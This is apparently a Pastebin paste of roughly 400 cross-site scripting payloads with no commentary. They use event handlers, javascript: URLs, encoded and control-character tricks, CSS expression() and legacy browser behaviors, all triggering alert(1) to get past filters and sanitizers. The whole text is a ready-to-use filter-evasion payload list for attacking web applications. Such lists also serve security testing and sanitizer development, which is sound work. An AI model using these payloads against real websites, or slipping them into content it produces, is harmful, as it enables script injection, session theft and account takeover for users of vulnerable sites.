pw0ned

1.8k lines XSS vectors

Apr 8th, 2016
417
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 5 125.71 KB | None | 0 0
  1. <script\x20type="text/javascript">javascript:alert(1);</script>
  2. <script\x3Etype="text/javascript">javascript:alert(1);</script>
  3. <script\x0Dtype="text/javascript">javascript:alert(1);</script>
  4. <script\x09type="text/javascript">javascript:alert(1);</script>
  5. <script\x0Ctype="text/javascript">javascript:alert(1);</script>
  6. <script\x2Ftype="text/javascript">javascript:alert(1);</script>
  7. <script\x0Atype="text/javascript">javascript:alert(1);</script>
  8. '`"><\x3Cscript>javascript:alert(1)</script>        
  9. '`"><\x00script>javascript:alert(1)</script>
  10. <img src=1 href=1 onerror="javascript:alert(1)"></img>
  11. <audio src=1 href=1 onerror="javascript:alert(1)"></audio>
  12. <video src=1 href=1 onerror="javascript:alert(1)"></video>
  13. <body src=1 href=1 onerror="javascript:alert(1)"></body>
  14. <image src=1 href=1 onerror="javascript:alert(1)"></image>
  15. <object src=1 href=1 onerror="javascript:alert(1)"></object>
  16. <script src=1 href=1 onerror="javascript:alert(1)"></script>
  17. <svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize>
  18. <title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>
  19. <iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad>
  20. <body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter>
  21. <body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus>
  22. <frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll>
  23. <script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange>
  24. <html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp>
  25. <body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
  26. <svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>
  27. <body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide>
  28. <body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver>
  29. <body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload>
  30. <body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad>
  31. <bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange>
  32. <html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave>
  33. <html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel>
  34. <style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad>
  35. <iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange>
  36. <body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow>
  37. <style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange>
  38. <frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus>
  39. <applet onError applet onError="javascript:javascript:alert(1)"></applet onError>
  40. <marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart>
  41. <script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad>
  42. <html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html onMouseOver>
  43. <html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter>
  44. <body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body onBeforeUnload>
  45. <html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html onMouseDown>
  46. <marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee onScroll>
  47. <xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange>
  48. <frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur>
  49. <applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange>
  50. <svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload>
  51. <html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut>
  52. <body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove>
  53. <body onResize body onResize="javascript:javascript:alert(1)"></body onResize>
  54. <object onError object onError="javascript:javascript:alert(1)"></object onError>
  55. <body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState>
  56. <html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove>
  57. <applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange>
  58. <body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide>
  59. <svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload>
  60. <applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror>
  61. <body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup>
  62. <body onunload body onunload="javascript:javascript:alert(1)"></body onunload>
  63. <iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload>
  64. <body onload body onload="javascript:javascript:alert(1)"></body onload>
  65. <html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover>
  66. <object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload>
  67. <body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload>
  68. <body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus>
  69. <body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown>
  70. <iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload>
  71. <iframe src iframe src="javascript:javascript:alert(1)"></iframe src>
  72. <svg onload svg onload="javascript:javascript:alert(1)"></svg onload>
  73. <html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove>
  74. <body onblur body onblur="javascript:javascript:alert(1)"></body onblur>
  75. \x3Cscript>javascript:alert(1)</script>
  76. '"`><script>/* *\x2Fjavascript:alert(1)// */</script>
  77. <script>javascript:alert(1)</script\x0D
  78. <script>javascript:alert(1)</script\x0A
  79. <script>javascript:alert(1)</script\x0B
  80. <script charset="\x22>javascript:alert(1)</script>
  81. <!--\x3E<img src=xxx:x onerror=javascript:alert(1)> -->
  82. --><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> -->
  83. --><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> -->
  84. --><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> -->
  85. --><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> -->
  86. `"'><img src='#\x27 onerror=javascript:alert(1)>
  87. <a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1">test</a>
  88. "'`><p><svg><script>a='hello\x27;javascript:alert(1)//';</script></p>
  89. <a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a>
  90. <a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1">test</a>
  91. <a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a>
  92. <a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a>
  93. <a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1">test</a>
  94. <a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1">test</a>
  95. <a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1">test</a>
  96. <a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1">test</a>
  97. <a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1">test</a>
  98. <a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1">test</a>
  99. <a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a>
  100. <a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1">test</a>
  101. <a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1">test</a>
  102. <a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a>
  103. <script>/* *\x2A/javascript:alert(1)// */</script>
  104. <script>/* *\x00/javascript:alert(1)// */</script>
  105. <style></style\x3E<img src="about:blank" onerror=javascript:alert(1)//></style>
  106. <style></style\x0D<img src="about:blank" onerror=javascript:alert(1)//></style>
  107. <style></style\x09<img src="about:blank" onerror=javascript:alert(1)//></style>
  108. <style></style\x20<img src="about:blank" onerror=javascript:alert(1)//></style>
  109. <style></style\x0A<img src="about:blank" onerror=javascript:alert(1)//></style>
  110. "'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';">DEF
  111. "'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF
  112. <script>if("x\\xE1\x96\x89".length==2) { javascript:alert(1);}</script>
  113. <script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);}</script>
  114. <script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);}</script>
  115. '`"><\x3Cscript>javascript:alert(1)</script>
  116. '`"><\x00script>javascript:alert(1)</script>
  117. "'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)>
  118. "'`><\x00img src=xxx:x onerror=javascript:alert(1)>
  119. <script src="data:text/plain\x2Cjavascript:alert(1)"></script>
  120. <script src="data:\xD4\x8F,javascript:alert(1)"></script>
  121. <script src="data:\xE0\xA4\x98,javascript:alert(1)"></script>
  122. <script src="data:\xCB\x8F,javascript:alert(1)"></script>
  123. <script\x20type="text/javascript">javascript:alert(1);</script>
  124. <script\x3Etype="text/javascript">javascript:alert(1);</script>
  125. <script\x0Dtype="text/javascript">javascript:alert(1);</script>
  126. <script\x09type="text/javascript">javascript:alert(1);</script>
  127. <script\x0Ctype="text/javascript">javascript:alert(1);</script>
  128. <script\x2Ftype="text/javascript">javascript:alert(1);</script>
  129. <script\x0Atype="text/javascript">javascript:alert(1);</script>
  130. ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF
  131. ABC<div style="x:expression\x5C(javascript:alert(1)">DEF
  132. ABC<div style="x:expression\x00(javascript:alert(1)">DEF
  133. ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF
  134. ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF
  135. ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF
  136. ABC<div style="x:\x09expression(javascript:alert(1)">DEF
  137. ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF
  138. ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF
  139. ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF
  140. ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF
  141. ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF
  142. ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF
  143. ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF
  144. ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF
  145. ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF
  146. ABC<div style="x:\x20expression(javascript:alert(1)">DEF
  147. ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF
  148. ABC<div style="x:\x00expression(javascript:alert(1)">DEF
  149. ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF
  150. ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF
  151. ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF
  152. ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF
  153. ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF
  154. ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF
  155. ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF
  156. ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF
  157. <a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  158. <a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  159. <a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  160. <a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  161. <a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  162. <a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  163. <a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  164. <a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  165. <a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  166. <a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  167. <a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  168. <a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  169. <a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  170. <a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  171. <a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  172. <a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  173. <a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  174. <a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  175. <a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  176. <a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  177. <a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  178. <a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  179. <a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  180. <a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  181. <a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  182. <a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  183. <a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  184. <a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  185. <a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  186. <a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  187. <a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  188. <a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  189. <a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  190. <a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  191. <a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  192. <a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  193. <a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  194. <a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  195. <a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  196. <a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  197. <a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  198. <a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  199. <a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  200. <a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  201. <a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  202. <a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  203. <a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  204. <a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  205. <a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  206. <a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  207. <a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  208. <a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  209. <a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a>
  210. <a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a>
  211. <a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a>
  212. <a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a>
  213. <a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a>
  214. `"'><img src=xxx:x \x0Aonerror=javascript:alert(1)>
  215. `"'><img src=xxx:x \x22onerror=javascript:alert(1)>
  216. `"'><img src=xxx:x \x0Bonerror=javascript:alert(1)>
  217. `"'><img src=xxx:x \x0Donerror=javascript:alert(1)>
  218. `"'><img src=xxx:x \x2Fonerror=javascript:alert(1)>
  219. `"'><img src=xxx:x \x09onerror=javascript:alert(1)>
  220. `"'><img src=xxx:x \x0Conerror=javascript:alert(1)>
  221. `"'><img src=xxx:x \x00onerror=javascript:alert(1)>
  222. `"'><img src=xxx:x \x27onerror=javascript:alert(1)>
  223. `"'><img src=xxx:x \x20onerror=javascript:alert(1)>
  224. "`'><script>\x3Bjavascript:alert(1)</script>
  225. "`'><script>\x0Djavascript:alert(1)</script>
  226. "`'><script>\xEF\xBB\xBFjavascript:alert(1)</script>
  227. "`'><script>\xE2\x80\x81javascript:alert(1)</script>
  228. "`'><script>\xE2\x80\x84javascript:alert(1)</script>
  229. "`'><script>\xE3\x80\x80javascript:alert(1)</script>
  230. "`'><script>\x09javascript:alert(1)</script>
  231. "`'><script>\xE2\x80\x89javascript:alert(1)</script>
  232. "`'><script>\xE2\x80\x85javascript:alert(1)</script>
  233. "`'><script>\xE2\x80\x88javascript:alert(1)</script>
  234. "`'><script>\x00javascript:alert(1)</script>
  235. "`'><script>\xE2\x80\xA8javascript:alert(1)</script>
  236. "`'><script>\xE2\x80\x8Ajavascript:alert(1)</script>
  237. "`'><script>\xE1\x9A\x80javascript:alert(1)</script>
  238. "`'><script>\x0Cjavascript:alert(1)</script>
  239. "`'><script>\x2Bjavascript:alert(1)</script>
  240. "`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script>
  241. "`'><script>-javascript:alert(1)</script>
  242. "`'><script>\x0Ajavascript:alert(1)</script>
  243. "`'><script>\xE2\x80\xAFjavascript:alert(1)</script>
  244. "`'><script>\x7Ejavascript:alert(1)</script>
  245. "`'><script>\xE2\x80\x87javascript:alert(1)</script>
  246. "`'><script>\xE2\x81\x9Fjavascript:alert(1)</script>
  247. "`'><script>\xE2\x80\xA9javascript:alert(1)</script>
  248. "`'><script>\xC2\x85javascript:alert(1)</script>
  249. "`'><script>\xEF\xBF\xAEjavascript:alert(1)</script>
  250. "`'><script>\xE2\x80\x83javascript:alert(1)</script>
  251. "`'><script>\xE2\x80\x8Bjavascript:alert(1)</script>
  252. "`'><script>\xEF\xBF\xBEjavascript:alert(1)</script>
  253. "`'><script>\xE2\x80\x80javascript:alert(1)</script>
  254. "`'><script>\x21javascript:alert(1)</script>
  255. "`'><script>\xE2\x80\x82javascript:alert(1)</script>
  256. "`'><script>\xE2\x80\x86javascript:alert(1)</script>
  257. "`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script>
  258. "`'><script>\x0Bjavascript:alert(1)</script>
  259. "`'><script>\x20javascript:alert(1)</script>
  260. "`'><script>\xC2\xA0javascript:alert(1)</script>
  261. "/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x />
  262. "/><img/onerror=\x22javascript:alert(1)\x22src=xxx:x />
  263. "/><img/onerror=\x09javascript:alert(1)\x09src=xxx:x />
  264. "/><img/onerror=\x27javascript:alert(1)\x27src=xxx:x />
  265. "/><img/onerror=\x0Ajavascript:alert(1)\x0Asrc=xxx:x />
  266. "/><img/onerror=\x0Cjavascript:alert(1)\x0Csrc=xxx:x />
  267. "/><img/onerror=\x0Djavascript:alert(1)\x0Dsrc=xxx:x />
  268. "/><img/onerror=\x60javascript:alert(1)\x60src=xxx:x />
  269. "/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x />
  270. <script\x2F>javascript:alert(1)</script>
  271. <script\x20>javascript:alert(1)</script>
  272. <script\x0D>javascript:alert(1)</script>
  273. <script\x0A>javascript:alert(1)</script>
  274. <script\x0C>javascript:alert(1)</script>
  275. <script\x00>javascript:alert(1)</script>
  276. <script\x09>javascript:alert(1)</script>
  277. `"'><img src=xxx:x onerror\x0B=javascript:alert(1)>
  278. `"'><img src=xxx:x onerror\x00=javascript:alert(1)>
  279. `"'><img src=xxx:x onerror\x0C=javascript:alert(1)>
  280. `"'><img src=xxx:x onerror\x0D=javascript:alert(1)>
  281. `"'><img src=xxx:x onerror\x20=javascript:alert(1)>
  282. `"'><img src=xxx:x onerror\x0A=javascript:alert(1)>
  283. `"'><img src=xxx:x onerror\x09=javascript:alert(1)>
  284. <script>javascript:alert(1)<\x00/script>
  285. <img src=# onerror\x3D"javascript:alert(1)" >
  286. <input onfocus=javascript:alert(1) autofocus>
  287. <input onblur=javascript:alert(1) autofocus><input autofocus>
  288. <video poster=javascript:javascript:alert(1)//
  289. <body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
  290. <form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X
  291. <video><source onerror="javascript:javascript:alert(1)">
  292. <video onerror="javascript:javascript:alert(1)"><source>
  293. <form><button formaction="javascript:javascript:alert(1)">X
  294. <body oninput=javascript:alert(1)><input autofocus>
  295. <math href="javascript:javascript:alert(1)">CLICKME</math>  <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
  296. <frameset onload=javascript:alert(1)>
  297. <table background="javascript:javascript:alert(1)">
  298. <!--<img src="--><img src=x onerror=javascript:alert(1)//">
  299. <comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
  300. <![><img src="]><img src=x onerror=javascript:alert(1)//">
  301. <style><img src="</style><img src=x onerror=javascript:alert(1)//">
  302. <li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
  303. <head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>
  304. <SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>
  305. <OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
  306. <object data="data:text/html;base64,%(base64)s">
  307. <embed src="data:text/html;base64,%(base64)s">
  308. <b <script>alert(1)</script>0
  309. <div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>
  310. <x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'>
  311. <embed src="javascript:alert(1)">
  312. <img src="javascript:alert(1)">
  313. <image src="javascript:alert(1)">
  314. <script src="javascript:alert(1)">
  315. <div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x
  316. <? foo="><script>javascript:alert(1)</script>">
  317. <! foo="><script>javascript:alert(1)</script>">
  318. </ foo="><script>javascript:alert(1)</script>">
  319. <? foo="><x foo='?><script>javascript:alert(1)</script>'>">
  320. <! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>">
  321. <% foo><x foo="%><script>javascript:alert(1)</script>">
  322. <div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script>
  323. <img \x00src=x onerror="alert(1)">
  324. <img \x47src=x onerror="javascript:alert(1)">
  325. <img \x11src=x onerror="javascript:alert(1)">
  326. <img \x12src=x onerror="javascript:alert(1)">
  327. <img\x47src=x onerror="javascript:alert(1)">
  328. <img\x10src=x onerror="javascript:alert(1)">
  329. <img\x13src=x onerror="javascript:alert(1)">
  330. <img\x32src=x onerror="javascript:alert(1)">
  331. <img\x47src=x onerror="javascript:alert(1)">
  332. <img\x11src=x onerror="javascript:alert(1)">
  333. <img \x47src=x onerror="javascript:alert(1)">
  334. <img \x34src=x onerror="javascript:alert(1)">
  335. <img \x39src=x onerror="javascript:alert(1)">
  336. <img \x00src=x onerror="javascript:alert(1)">
  337. <img src\x09=x onerror="javascript:alert(1)">
  338. <img src\x10=x onerror="javascript:alert(1)">
  339. <img src\x13=x onerror="javascript:alert(1)">
  340. <img src\x32=x onerror="javascript:alert(1)">
  341. <img src\x12=x onerror="javascript:alert(1)">
  342. <img src\x11=x onerror="javascript:alert(1)">
  343. <img src\x00=x onerror="javascript:alert(1)">
  344. <img src\x47=x onerror="javascript:alert(1)">
  345. <img src=x\x09onerror="javascript:alert(1)">
  346. <img src=x\x10onerror="javascript:alert(1)">
  347. <img src=x\x11onerror="javascript:alert(1)">
  348. <img src=x\x12onerror="javascript:alert(1)">
  349. <img src=x\x13onerror="javascript:alert(1)">
  350. <img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)">
  351. <img src=x onerror=\x09"javascript:alert(1)">
  352. <img src=x onerror=\x10"javascript:alert(1)">
  353. <img src=x onerror=\x11"javascript:alert(1)">
  354. <img src=x onerror=\x12"javascript:alert(1)">
  355. <img src=x onerror=\x32"javascript:alert(1)">
  356. <img src=x onerror=\x00"javascript:alert(1)">
  357. <a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>XXX</a>
  358. <img src="x` `<script>javascript:alert(1)</script>"` `>
  359. <img src onerror /" '"= alt=javascript:alert(1)//">
  360. <title onpropertychange=javascript:alert(1)></title><title title=>
  361. <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>">
  362. <!--[if]><script>javascript:alert(1)</script -->
  363. <!--[if<img src=x onerror=javascript:alert(1)//]> -->
  364. <script src="/\%(jscript)s"></script>
  365. <script src="\\%(jscript)s"></script>
  366. <object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object>
  367. <a style="-o-link:'javascript:javascript:alert(1)';-o-link-source:current">X
  368. <style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};</style>
  369. <link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d
  370. <style>@import "data:,*%7bx:expression(javascript:alert(1))%7D";</style>
  371. <a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">XXX</a></a><a href="javascript:javascript:alert(1)">XXX</a>
  372. <style>*[{}@import'%(css)s?]</style>X
  373. <div style="font-family:'foo&#10;;color:red;';">XXX
  374. <div style="font-family:foo}color=red;">XXX
  375. <// style=x:expression\28javascript:alert(1)\29>
  376. <style>*{x:яН…я͘яНяН’яН…яН“яН“яН‰яНяНŽ(javascript:alert(1))}</style>
  377. <div style=content:url(%(svg)s)></div>
  378. <div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(1));">X
  379. <div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script>
  380. <div style="background:url(/f#&#127;oo/;color:red/*/foo.jpg);">X
  381. <div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X
  382. <div id="x">XXX</div> <style>  #x{font-family:foo[bar;color:green;}  #y];color:red;{}  </style>
  383. <x style="background:url('x&#1;;color:red;/*')">XXX</x>
  384. <script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>
  385. <script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>
  386. <script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script>
  387. <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script>
  388. <meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
  389. <meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>
  390. <meta charset="mac-farsi">ТМscriptТОjavascript:alert(1)ТМ/scriptТО
  391. X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` >
  392. 1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=javascript:alert(1)&gt;`>
  393. 1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=javascript:alert(1)&gt;>
  394. <vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#xss></vmlframe>
  395. 1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>
  396. <a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)">XXX</a>
  397. <x style="behavior:url(%(sct)s)">
